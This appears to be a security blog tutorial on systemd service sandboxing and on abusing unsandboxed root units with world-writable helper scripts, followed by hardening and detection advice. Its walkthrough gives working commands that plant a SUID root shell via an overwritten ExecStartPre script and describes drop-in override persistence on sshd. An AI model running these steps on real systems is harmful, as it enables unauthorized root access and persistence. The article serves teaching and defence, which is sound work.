Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
systemd is PID 1 on essentially every mainstream Linux distribution, and with that position comes a large, often underused set of per-unit sandboxing directives: ProtectSystem=, NoNewPrivileges=, PrivateTmp=, CapabilityBoundingSet=, SystemCallFilter=, and dozens more. Applied correctly, these turn a .service unit into something close to a lightweight container without touching namespaces or cgroups directly — systemd builds on both under the hood. Left at their defaults, a unit runs with the full privilege of whatever user it is configured to run as, unrestricted filesystem access, and no syscall filtering at all.
This matters because service units are the standard way third-party software installs itself on Linux — every daemon, agent, and cron replacement ships a unit file, and package maintainers do not always sandbox them. A single overly permissive unit, especially one running as root with a network-facing or otherwise attacker-influenceable ExecStart, converts a local logic bug or a dependency compromise into a full root shell, whereas the same bug in a properly sandboxed unit is contained to a private, read-only, capability-stripped view of the system.
Attack Prerequisites
Turning a systemd unit into a privilege-escalation or persistence foothold generally requires one of the following:
- Write access to a unit file or drop-in —
/etc/systemd/system/*.service, a.d/override.confdrop-in, or a unit under a world-writableWorkingDirectory— combined with the ability to runsystemctl daemon-reloador wait for the next reload/reboot. - A unit that already runs as root or with elevated capabilities and lacks sandboxing directives, so that any code-execution primitive in it (a plugin path, an
ExecStartPrescript, an environment variable) inherits full privilege. - A writable path referenced by
ExecStart/ExecStartPre/ExecStartPost— e.g. a helper script in a directory the attacker can write to. - Membership in a group that
sudo/PolicyKit allows to manage systemd units (systemctl restart), which is enough to trigger a reload of a maliciously edited unit.
How It Works
Each systemd unit describes not just *what* to run but *how confined* that process should be, using the same kernel mechanisms containers use: mount namespaces for filesystem isolation (ProtectSystem=, ProtectHome=, ReadOnlyPaths=, PrivateTmp=), the capability bounding set and ambient set to drop Linux capabilities (CapabilityBoundingSet=, AmbientCapabilities=), NoNewPrivileges=1 to block execve()-time privilege gain (setuid binaries, extra capabilities via file caps), and seccomp-bpf syscall allow/deny lists (SystemCallFilter=). systemd applies these by constructing the confinement in the child process *before* exec()-ing the unit’s ExecStart= binary, so a correctly sandboxed unit never has the opportunity to touch what it was denied.
The catch is that none of this is mandatory. systemd-analyze security <unit> computes an “exposure” score from which directives are absent, and on a stock install of most daemons that score is poor — filesystem sandboxing, capability dropping, and syscall filtering are opt-in per unit, and many long-lived daemons (packaged years before these directives existed, or written by teams unaware of them) still run with User=root and no restriction whatsoever. daemon-reload also matters operationally: editing a unit file or drop-in has no effect until systemd re-reads it, which is why persistence via unit files often pairs an edit with a forced or awaited reload.
Timers, path units, and socket-activated services extend the same trust: a .timer or .path unit simply triggers its paired .service at a chosen time or filesystem event, inheriting whatever sandboxing (or lack of it) that service unit defines.
Vulnerable Code / Configuration
The enabling misconfiguration is a unit that runs as root with none of the sandboxing directives set, and an ExecStartPre pointing at a script path that is group- or world-writable:
# /etc/systemd/system/report-sync.service — VULNERABLE
[Unit]
Description=Nightly report sync
[Service]
Type=oneshot
User=root
ExecStartPre=/opt/report-sync/pre-check.sh
ExecStart=/opt/report-sync/sync.sh
# No ProtectSystem=, no NoNewPrivileges=, no CapabilityBoundingSet=,
# no PrivateTmp= -> full root, full filesystem, all capabilities.
[Install]
WantedBy=multi-user.target
INI$ ls -l /opt/report-sync/
-rwxrwxrwx 1 root root 210 Jun 2 10:11 pre-check.sh # world-writable!
-rwxr-xr-x 1 root root 340 Jun 2 10:11 sync.sh
BashAny local user can overwrite pre-check.sh with arbitrary shell, and the next timer fire or systemctl start report-sync runs it as root with no namespace, capability, or syscall restriction — the sandboxing directives that would have contained the blast radius were simply never added.
Walkthrough / Exploitation
Confirm the unit’s actual exposure before touching anything — systemd-analyze security scores every enabled directive:
systemd-analyze security report-sync.service
# UNIT EXPOSURE: 9.6 UNSAFE -- no sandboxing at all, runs as root
BashOverwrite the writable helper script with a payload; a paired systemd timer means the attacker does not even need to trigger the service directly:
cat > /opt/report-sync/pre-check.sh <<'EOF'
#!/bin/sh
chmod u+s /bin/bash # drop a root SUID shell
EOF
chmod +x /opt/report-sync/pre-check.sh
BashWait for the associated .timer unit to fire, or if the attacker has sudo/PolicyKit rights over systemctl for that unit, trigger it directly:
systemctl list-timers | grep report-sync
sudo systemctl start report-sync.service # if permitted
/bin/bash -p # SUID shell -> effective root
BashThe same technique applies to drop-in overrides: writing /etc/systemd/system/sshd.service.d/override.conf with an ExecStartPre= line, followed by systemctl daemon-reload, is a common systemd-based persistence mechanism that survives a package reinstall of the original unit.
Note:
NoNewPrivileges=1alone would have stopped the SUID-bit trick above even with a compromised script, because it prevents the exec from gaining privileges it did not already have — it is one of the highest value single directives to add and rarely breaks legitimate daemons.
Opsec: Editing a live unit file and running
daemon-reloadis loud: systemd logs the reload to the journal, andsystemctl statuswill show the unit’sExecStartPre=/ExecStart=lines changed from what a package manager originally installed.dpkg -V/rpm -Vfile-integrity checks and journal review forReloading./ unit-file-changed messages are the fastest way to spot this after the fact.
Detection and Defense
systemd sandboxing is one of the highest-leverage, lowest-effort hardening steps available on modern Linux — most directives are a one-line addition with no functional cost for daemons that do not need the access:
- Run
systemd-analyze securityacross all enabled units and remediate anything scored UNSAFE that runs as root or handles network input. - Add
NoNewPrivileges=1,ProtectSystem=strict,ProtectHome=true,PrivateTmp=true, and a minimalCapabilityBoundingSet=to every custom unit; drop toDynamicUser=yeswhere the service does not need a fixed UID. - **Lock down write access to
/etc/systemd/systemand any path referenced byExecStart*=** — treat a writable script referenced by a root unit as equivalent to writable root ownership. - Watch the journal and file-integrity monitoring for unit file and drop-in changes (
ausearch -f /etc/systemd/system,auditctl -w /etc/systemd/system -p wa -k systemd_unit_write) and fordaemon-reloadevents outside of package management windows. - Restrict
sudo/PolicyKit rules that allowsystemctl restart/starton specific units to the minimum principals who actually need it.
Real-World Impact
Unsandboxed root-owned units are a recurring finding in Linux hardening assessments and CIS Benchmark reviews, and writable ExecStart/ExecStartPre paths are a well-known local privilege-escalation and persistence pattern documented across red-team methodology guides and post-exploitation checklists (GTFOBins-adjacent techniques, LinPEAS/linux-smart-enumeration checks specifically flag writable systemd unit paths). The Lockheed Martin-style “living off the land” approach favors this technique precisely because it uses systemd itself rather than dropping a new binary.
Conclusion
systemd gives administrators container-grade sandboxing for free, but only for units that explicitly opt in. Treat every root-owned unit without NoNewPrivileges=, ProtectSystem=, and a trimmed capability set as unfinished hardening work, lock down write access to unit files and the scripts they call, and audit daemon-reload events — the gap between systemd’s sandboxing capability and its default posture is where most of this risk lives.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments